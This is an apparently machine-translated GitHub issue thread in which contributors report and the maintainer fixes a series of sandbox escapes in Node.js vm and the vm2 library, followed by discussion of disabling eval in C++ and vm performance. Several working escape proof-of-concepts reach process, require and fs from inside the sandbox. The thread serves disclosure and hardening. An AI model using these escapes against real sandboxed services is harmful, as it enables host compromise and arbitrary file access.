Vm2: VM 샌드박스 탈출

보고해 주셔서 감사합니다. 저는 vm2의 새 버전에서 열심히 일하고 있으며 생성된 컨텍스트 내부에 컨텍스트를 생성하여 이 누수를 해결할 수 있었습니다. 샌드박스를 탈출하는 다른 방법이 있는지 확실하지 않으며 아직 찾지 못했습니다.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

올라가려고 했지만 true 이므로 불가능한 것 같습니다.

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

위에서 언급한 접근 방식을 사용하고 있습니다.

첫 번째 목표는 내 사용 사례에 필요한 샌드박스에 항목을 전달할 수 있도록 귀하의 의견을 수정하는 것이었습니다. 이것이 잘못된 방법이라면 저를 수정해 주세요. 하지만 이것이 유일한 방법인 것 같습니다.

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

출력:

Hello World Inside
Hello World Outside

다음으로 VM을 탈출하려고 다시 시도했고 성공했습니다.

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

출력:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

샌드박스에서 다시 올라오는 데 사용되지 않는 샌드박스에 안전하게 물건을 주입할 수 있는 방법은 없는 것 같습니다.

방법이 있습니다. 개체는 VM의 컨텍스트에 맞게 컨텍스트화되어야 합니다. 두 가지 방법이 있습니다. 이러한 개체를 딥 클론하거나 프록시를 사용할 수 있습니다. 새로운 vm2에서 프록시를 사용하고 있습니다.

https://github.com/patriksimek/vm2/tree/v3

나는 다가오는 릴리스를 GH로 미뤘습니다. 아직 진행 중이지만 작동해야 합니다.

v3도 손상되었습니다.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

이 두더지 잡기 게임을 하는 것은 일종의 헛된 일입니다.

@parasyte 감사합니다. 제 코드의 오타로 인해 발생했습니다. 이제 해결되었습니다.

예외를 잡는 것을 잊지 마십시오.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte 감사합니다. 수정되었습니다. 귀하의 기여에 진심으로 감사드립니다.

🚎 +1

@patriksimek 멋지네요!

또한 컨텍스트화된 샌드박스를 벗어나는 데 활용할 수 있는 전역 범위의 특정 개체에 액세스할 수 있습니다. 이것은 VM에 개체를 전달할 필요조차 없습니다.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@기생충 쉿 ! 발견해야 할 벡터가 많이 남아 있어야 합니다.

@keyosk 네, 아마도...

BTW @patriksimek ES6은 coffeescript보다 훨씬 낫습니다! 👍

@parasyte 다시 한 번 감사합니다. 제가 찾은 백도어와 함께 수정되었습니다.
@keyosk 나는 우리가 그것들을 모두 찾을 것이라고 믿습니다.

이건 어때?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte 좋은 캐치, 수정했습니다. 감사 해요.

최근 패치에서 완전히 새로운 웜 캔을 열었습니다.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

젠장, 너무 늦게 일해서 초점을 잃었어. 주로 나를 위해 몇 가지 보안 노트를 작성했습니다 . :)

감사합니다. 수정했습니다.

글쎄, 나는 지금까지 NodeVM 살펴보지도 않았다! 문질러야 할 표면적이 훨씬 더 많습니다. 여기...

바로 arguments.callee 를 통한 탈출을 발견했습니다.

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

글쎄, 이것은 우리에게 여기서 초기 문제를 지적합니다. 분명히 새로운 컨텍스트 내에서 생성된 컨텍스트로는 충분하지 않습니다. 짧은 버전:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

아직 해결책을 찾지 못했습니다. delete process.mainModule 호스트를 패치할 수도 있지만 require 까지 올라가는 다른 방법이 있다고 확신합니다.

해결책을 찾았습니다 :-)

아아! 당신은 붙잡고있어! ;) 이런 식으로 인도한 것에 대해 사과해야 합니다. 모든 청중을 위해; node.js의 VM 범위 문제는 호스트 범위의 개체에 대한 참조에 있습니다(프로토타입 체인을 통해 모든 호스트 범위에 대한 참조를 얻을 수 있음).

constructor 속성을 재정의했으므로 이제 그 아래로 이동해야 합니다.

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

여기에서 약간의 조사를 하고 global.__proto__ === host.Object.prototype . Object.setPrototypeOf(global, Object.prototype) 를 적용하여 cricle을 닫을 수 있었습니다.

다시 한번 감사합니다.

@parasyte @patriksimek 이 최신 npm 게시 버전에서 닫혔습니까?

예, 지금은 닫을 수 있습니다.

FWIW, 우리는 eval ...를 비활성화하고 참조를 샌드박스에 노출하지 않도록 매우 주의하여 이 문제를 해결했습니다.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

이것은 return process 문자열을 평가할 수 없기 때문에 이스케이프를 방지합니다. 결과적으로 합법적인 eval() 및 함수 생성기 생성자 호출도 비활성화됩니다. (이러한 기능의 유용성은 다소 의심스럽습니다.)

@parasyte 는 명확성을 위해 다른 곳에서 구현한 것입니까? 아니면 vm2에 기여한 것이 있습니까?

@keyscores 이것은 다른 곳에서 구현되었습니다.

예, 다른 곳에서. 현재 오픈 소스 릴리스 승인을 기다리고 있는 유사한 샌드박스 프로젝트가 있습니다. 혼란을 드려 죄송합니다. 나는 그 프로젝트에서 근본 문제가 어떻게 해결되었는지 논평하고 있었습니다.

@parasyte 릴리스를 업데이트하시겠습니까? 구현을 비교하는 데 관심이 있습니다. 모두가 이긴다고 생각합니다.

@keyscores 죄송합니다. 아직 보고할 내용이 없습니다. 조직의 잘못된 계획으로 인해 오픈 소스 노력의 우선 순위가 떨어졌습니다. :\

이것이 죽은 문제라는 것을 알고 있지만 다음과 같은 코드를 실행할 때 Node의 vm 라이브러리에 대해 알려진 우회가 있습니까?

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : 그냥 호기심에, 실행하기 전에 외부 코드 상단에 global.eval = null; 를 주입하여 eval을 비활성화하는 것이 어떻습니까?

@Eric24 좋은 질문입니다! 이 프레젠테이션은 그 이유를 자세히 설명합니다: https://vimeo.com/191757364 및 슬라이드 데크: https://goo.gl/KxiG73

가장 중요한 점은 JavaScript에서 eval() 를 호출하는 방법은 여러 가지가 있으며 global.eval 바꾸는 것은 그 중 하나일 뿐입니다. 전체 목록을 살펴볼 때쯤이면 GeneratorFunction으로 평가판을 원숭이 패치하는 것이 불가능하다는 것을 알게 될 것입니다. 그리고 여기에는 eval() 가 향후 ES 변경 사항에 의해 노출될 수 있는 무수한 다른 방법이 포함되지 않습니다.

따라서 실행 가능한 유일한 솔루션은 C++를 사용하여 V8에서 평가를 비활성화하는 것입니다.

@parasyte : 완벽합니다(프레젠테이션에 감사드립니다). 따라서 C++ 코드가 vm 또는 "호스트 프로세스"에서도 eval을 비활성화합니까?

@Eric24 disableEval이 호출되는 컨텍스트에서 eval을 비활성화합니다. 이를 vm에서 실행될 제공된 사용자 영역 코드의 시작 부분에 삽입하고 싶을 것입니다. 또한 호스트에서 이것을 실행하고 해당 컨텍스트에서도 비활성화할 수 있습니다.

@parasyte : 알겠습니다. 감사 해요! 귀하의 솔루션이 이 주제를 연구한 후 며칠(몇 주에 걸쳐)이 발견된 최고라고 말해야 합니다.

@Anorov 이것은 며칠 전에 보고되었습니다: https://github.com/nodejs/node/issues/15673 샌드박스에 null 프로토타입이 있는 경우에도 VM을 탈출할 수 있습니다. 도메인이 활성화된 경우에만 문제가 됩니다(기본값은 아니지만 모든 종속성 계층 구조에서 domain 사용에 주의).

여기 편리한 개념 증명이 있습니다. 노드 v8.6.0에서 테스트:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

이와 같은 누수에 주의하십시오. 이 취약성 클래스 로부터 안전한 유일한 방법은 eval을 비활성화하는 것입니다. 그리고 vm 는 평가 범위를 벗어나는 다른 문제가 있을 수 있다는 점에 주의하십시오.

@parasyte 감사합니다. Python에서 노드로 이 코드를 실행하고 있습니다. https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

다른 라이브러리( domain 또는 기타)를 가져오거나 사용하지 않습니다. 이 코드에 잠재적인 문제가 있습니까? 가능한 경우 Javascript 종속성(예: vm2)이 필요하지 않도록 하고 싶습니다.

@Anorov 아

옳은. 누군가는 내가 기대하는 페이지를 모방할 수도 있습니다.
내 스크립트는 Cloudflare가 아닌 경우 Cloudflare라고 생각합니다. 나도 고려중
서버의 IP 주소가 Cloudflare의 소유인지 확인
추가 예방 조치.

하지만 상관없이 이 코드가 임의의
Cloudflare 뿐만 아니라 사용자 입력. 샌드박싱 메커니즘은 안전합니까?
노드 커뮤니티의 지식 중 최고입니까?

2017년 10월 2일 오후 10시 10분에 "Jay Oster" [email protected]이 작성했습니다.

@Anorov https://github.com/anorov 아 알겠습니다 . 그게 걱정되세요?
CloudFlare(또는 MITM)는
샌드박스? 표적 공격이어야 하지만 나는 그것을 지배하지 않을 것이다.
완전히 밖으로.

—
당신이 언급되었기 때문에 이것을 받는 것입니다.
이 이메일에 직접 답장하고 GitHub에서 확인
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 또는 음소거
스레드
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@아노로프 :

노드 커뮤니티가 아는 한 샌드박싱 메커니즘은 안전한가요?

절대적으로하지. 공식 문서 에서는 다음과 같이 매우 강력하게 언급합니다.

참고: vm 모듈은 보안 메커니즘이 아닙니다. 신뢰할 수 없는 코드를 실행하는 데 사용하지 마십시오.

그 경고는 알고 있지만 실용성에 대해 묻습니다.

2017년 10월 3일 오후 4시 34분에 "Cody Massin" [email protected]이 작성했습니다.

@아노로프 https://github.com/anorov :

샌드박싱 메커니즘은 Node 커뮤니티의 최선을 다해 안전합니까?
지식?

절대적으로하지. 공식 문서
https://nodejs.org/api/vm.html#vm_vm_executing_javascript 가 이것을 만듭니다.
매우 강한 메모:

참고: vm 모듈은 보안 메커니즘이 아닙니다. 실행에 사용하지 마십시오.
신뢰할 수 없는 코드.

—
당신이 언급되었기 때문에 이것을 받는 것입니다.
이 이메일에 직접 답장하고 GitHub에서 확인
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 또는 음소거
스레드
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

실제로 샌드박싱 메커니즘은 신뢰할 수 없는 코드에 대해 안전하지 않습니다. 이것이 @patriksimek 이 vm2 라이브러리를 사용하여 안전한 샌드박싱 메커니즘을 만들려고 시도한 이유입니다. 이것이 @parasyte 가 신뢰할 수 없는 코드를 샌드박싱할 때 다른 접근 방식을 사용하여 자신의 라이브러리를 만드는 작업을 수행한 이유

@Anorov 간단히 말해서 vm 에만 의존하지 마십시오. 그러나 그것은 양파의 단일 층으로 유용한 도구입니다.

나는 vm과 @parasyte 에서 eval을 비활성화하기 위해 제안된 C++ 코드를 가지고

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

이것도 작동하며 훨씬 빠릅니다(일부 테스트 사례에서는 1000배 이상 빠름). eval을 비활성화하는 것 외에도 사용자 영역 코드에 'global'에 대한 참조가 포함되지 않도록 방지합니다(이 테스트 없이 함수는 global.whatever를 사용하여 전역 범위를 수정할 수 있음). 이것은 효과적이고 안전한 샌드박스인 것 같습니다. 내가 무엇을 놓치고 있습니까?

당신의 전략이 사람들이 fs와 같은 네임스페이스를 가져오고 서버를 대폭 수정하는 것을 막습니까? 나는 또한 eval 비활성화에 대해 궁금합니다. 왜 eval에 대해 걱정하고 eval 외부의 코드에 대해서는 걱정하지 않습니까?

@wysisoft : 좋은 질문입니다. 네, '요구'는 노출되지 않습니다. 각 스크립트는 메타 데이터의 일부로 필요한 "허용 및 검증된" 모듈 목록을 정의하며, 이는 실행되기 전에 기능에 개별적으로 노출됩니다. 구체적으로 말하면 'fs'는 승인된 목록에 없을 것입니다(그러나 임시 저장이 필요한 스크립트의 경우 제한된 읽기/쓰기 기능 세트가 제공됨).

'eval'을 비활성화하는 것은 여러 익스플로잇을 중지하는 데 중요합니다( 18NOV16 에 @parasyte의 주석 참조). 'eval'을 허용하면 다른 방법으로는 방지할 수 없는 방식으로 전역 범위에 액세스할 수 있습니다. 자세한 내용은 10 월 17일 @parasyte의 댓글에서 확인).

@Eric24 vm 대해 "느림"이 무엇인지 이해하지 못합니다. nodeJS를 구동하는 것과 똑같은 v8 런타임입니다. 코드를 실행할 때마다 샌드박스를 다시 만드는 것과 같은 어리석은 일을 하고 있지 않다고 확신하십니까? 약간의 오버헤드가 있지만 1000배 더 많은 오버헤드는 아닙니다 .

@wysisoft eval() 는 쉽게 접근할 수 있는 샌드박스 탈출 방법입니다. 비활성화 하면 개인 컨텍스트 내에서 코드 를

@parasyte - 각각에 대해 가능한 한 동일한 코드에 가까운 Function() 및 VM을 만들고 둘 다 1000번 실행하고 필요한 총 시간을 보고하는 매우 간단한 테스트가 있습니다. 아래 코드:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

테스트에서 볼 수 있듯이 스크립트와 컨텍스트를 한 번 만든 다음 1000번 실행합니다. 그러나 실제 대상 사용 사례에서는 각 실행이 고유하고 새로운 컨텍스트로 시작해야 하기 때문에 매번 컨텍스트를 다시 생성해야 합니다(컴파일된 스크립트를 캐시할 수 있음). 매번 컨텍스트를 다시 생성하지 않아도 Function()과 VM의 차이는 6~14배입니다.

그러나 자세히 살펴본 후 실제 사용 사례에 더 가까운 코드 변형(루프 내에서 매번 컨텍스트 생성)을 시도했습니다. 나는 원래 1ms 미만으로 컨텍스트의 일회성 생성 시간을 정했기 때문에 반복당 기준으로 포함하고 있었습니다. 그러나 실제 코드를 실행하면 실제 범인이 나타났습니다. VM은 여전히 ​​느리지만 문제는 컨텍스트를 만드는 것이 아니라 'ctx' 개체를 만드는 것입니다. 정말 놀라운 일입니다.

그러나 VM 컨텍스트에 대한 새 객체를 생성하는 것은 매번 필요합니다(Function()에도 약간의 변형이 필요하므로 둘 사이의 차이는 6~14배(여전히 중요함)로 돌아갑니다. .

흠. 방금 다른 테스트를 시도했습니다.

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

여기서 'ctx' 객체는 두 테스트에서 매번 다시 생성되지만 컨텍스트는 한 번만 생성됩니다. 시차는 6-14 범위로 돌아갑니다. 그러나 매번 컨텍스트를 다시 생성하는 줄의 주석을 제거하면 최대 144배 느려집니다!

@Eric24 이전 게시물에서 말한 대로 하고 있습니다. 😕 script.runInContext() 가 문제입니다. 이것은 eval() 를 호출하는 것과 사실상 동일합니다(다른 v8 컨텍스트 사용).

성능 문제를 해결하는 솔루션은 runInContext 한 번 호출하여 코드를 컴파일하고 반환되는 참조 또는 입력 인수로 제공한 참조를 통해 컴파일된 코드와 상호 작용하는 것입니다. 예를 들어 샌드박스와의 양방향 통신을 위해 몇 개의 new Event() 개체를 전달합니다. 이것이 우리의 [여전한 내부 샌드박스, 정치적인 이유로 오픈 소스되지 않은] vm 래퍼가 하는 일이며 오버헤드는 완전히 무시할 수 있습니다.

@parasyte : 흠. 그러나 new vm.Script()가 코드를 컴파일하지 않습니까? 어쨌든 나는 당신이 말하는 것을 수행하기 위해 캐싱해야 하는 것은 runInContext에 대한 참조이므로 스크립트가 처음 호출될 때만 오버헤드를 겪을 것이라고 생각합니다. 확실히 고려할 가치가 있습니다.

아니요. runInContext 는 코드를 컴파일합니다. 그것에 대해 생각해보십시오. v8은 Just-In-Time 컴파일러입니다. 컴파일하려면 코드를 실행해야 합니다.

@parasyte : 좋아요, 하지만 node.js 문서에서:
_vm.Script 클래스의 인스턴스에는 특정 샌드박스(또는 "컨텍스트")에서 실행할 수 있는 미리 컴파일된 스크립트가 포함되어 있습니다._

@Eric24 문서가 Script 개체가 인스턴스화된 후에 인터프리터를 통해 실행할 수 있지만 v8에서 얻는 성능 이득의 대부분은 이 해석된 중간 표현을 기본 기계 코드로 컴파일하는 데서 비롯됩니다. 후자의 단계는 runInContext 가 호출될 때까지 시작 되지 않습니다.

실제로 JIT 컴파일러 수명 주기는 JIT가 최적화를 고려하기 전에 코드를 워밍업해야 하기 때문에 그보다 더 복잡합니다. 자세한 내용에 관심이 있다면 인터넷에 읽을 수 있는 자료 가 많이 있습니다.

그러나 몇 가지 하드 데이터를 제공하기 위해 다음은 runInContext 대한 관련 소스 코드입니다. https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

realRunInContext 참조는 C++ contextify 모듈에서 가져옵니다. 여기에서 찾을 수 있습니다: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

이 C++ 코드의 가장 중요한 부분은 틀림없이 EvalMachine 대한 호출입니다. 이 호출은 컴파일된 코드 를 현재 컨텍스트에 바인딩하고 script->Run() 를 호출하여 JIT 컴파일러를 시작합니다. 물론 최적화할 코드를 찾기 시작하는 것입니다.

도움이 되기를 바랍니다!

@parasyte : 네, 도움이 됩니다. 감사 해요!

우리는 vm2 샌드박스를 사용하여 하나의 구현으로 어려움을 겪고 있습니다. vm2 샌드박스 내에서 비동기 코드를 호출할 수 있습니까? 그 이유는 vm2의 샌드박스에서 MySQL과 같은 데이터 소스에 연결해야 하기 때문입니다.

예, 샌드박스 내에서 비동기를 기다릴 수 있습니다. 어떤 문제가 있습니까?
신뢰할 수 없는 코드를 실행 중인 경우
샌드박스에 대한 전체 SQL 액세스 권한을 부여합니다. 대신 다음을 추가하고 싶을 것입니다.
샌드박스에 대한 getdata() 메서드는 샌드박스 외부에서 코드를 실행합니다.
실제 SQL 연결이 발생합니다.

2017년 10월 24일 화요일 오전 6:49 Rajagopal Somasundaram <
[email protected]>은 다음과 같이 썼습니다.

우리는 vm2 샌드박스를 사용하여 하나의 구현으로 어려움을 겪고 있습니다. 전화해도 될까요?
vm2 샌드박스 내부의 비동기 코드? 그 이유는
vm2의 샌드박스에서 MySQL과 같은 데이터 소스?

—
당신이 언급되었기 때문에 이것을 받는 것입니다.
이 이메일에 직접 답장하고 GitHub에서 확인
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 또는 음소거
스레드
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft 답변 감사합니다 . https://github.com/patriksimek/vm2/issues/102 세부사항으로 별도로 문제를 제기했습니다

@Eric24 '새로운 기능()' 대안을 공유하시겠습니까? VM보다 깔끔해 보입니다.

@platinumindustries : 결국 저는 "new Function()" 대안을 추천하지 않습니다. 우리는 결국 VM 접근 방식을 유지하고 대신 해당 코드를 최적화하는 데 집중했습니다. 우리가 지금 가지고 있는 것은 아주 잘 작동합니다. 솔직히 무엇이 우리를 그 방향으로 이끌었는지 정확히 기억할 수 없지만 궁극적으로 목록에서 "new Function()" 접근 방식을 넘어서는 몇 가지 작은 것들이 있다는 것을 알고 있습니다.

@Eric24 그럼 좋습니다. 또한 NodeJS 10.9*의 새 버전에는 vm에서 eval()을 비활성화하는 옵션 이 있습니다. 충분합니까 아니면 여전히 C에서 비활성화해야합니까?

오래된 스레드에 뛰어들어서 정말 죄송합니다.

그러나 실제 대상 사용 사례에서는 각 실행이 고유하고 새로운 컨텍스트로 시작해야 하기 때문에 매번 컨텍스트를 다시 생성해야 합니다(컴파일된 스크립트를 캐시할 수 있음).

@Eric24 서버 응용 프로그램 내에서 vm2 사용하여 임의의 코드를 잠재적으로 실행할 수 있는 방법을 찾고 있습니다. 들어오는 요청의 매개 변수/인수를 VM 내부에서 실행되는 코드로 전달하는 방법을 보고 있기 때문에 제 사용 사례가 언급한 것과 유사하다고 생각합니다.

지금 내가 볼 수 있는 유일한 방법은 매번 새로운 컨텍스트를 생성하는 것이지만 이것은 정말 느립니다. 하나의 컨텍스트 개체를 재사용할 수 있지만 다른 메커니즘을 사용하여 VM 내부에서 실행되는 코드에 데이터를 제공할 수 있는지 알아내려고 합니다. @parasyte는 Event() 개체를 사용한 양방향 통신에 대해 언급했지만 완전히 명확하지 않았습니다.

비슷한 문제가 발생했다면 어떻게 해결했는지 팁을 공유해 주시겠습니까? 시간 내 줘서 고마워.

@darahayes : 사실, 매번 실행할 때마다 새로운 컨텍스트를 생성하고 있지만,

각 실행에 대해 새로운 nodejs 프로세스를 실행하고 있으며 지연 시간이 100ms 미만으로 나쁘지 않습니다.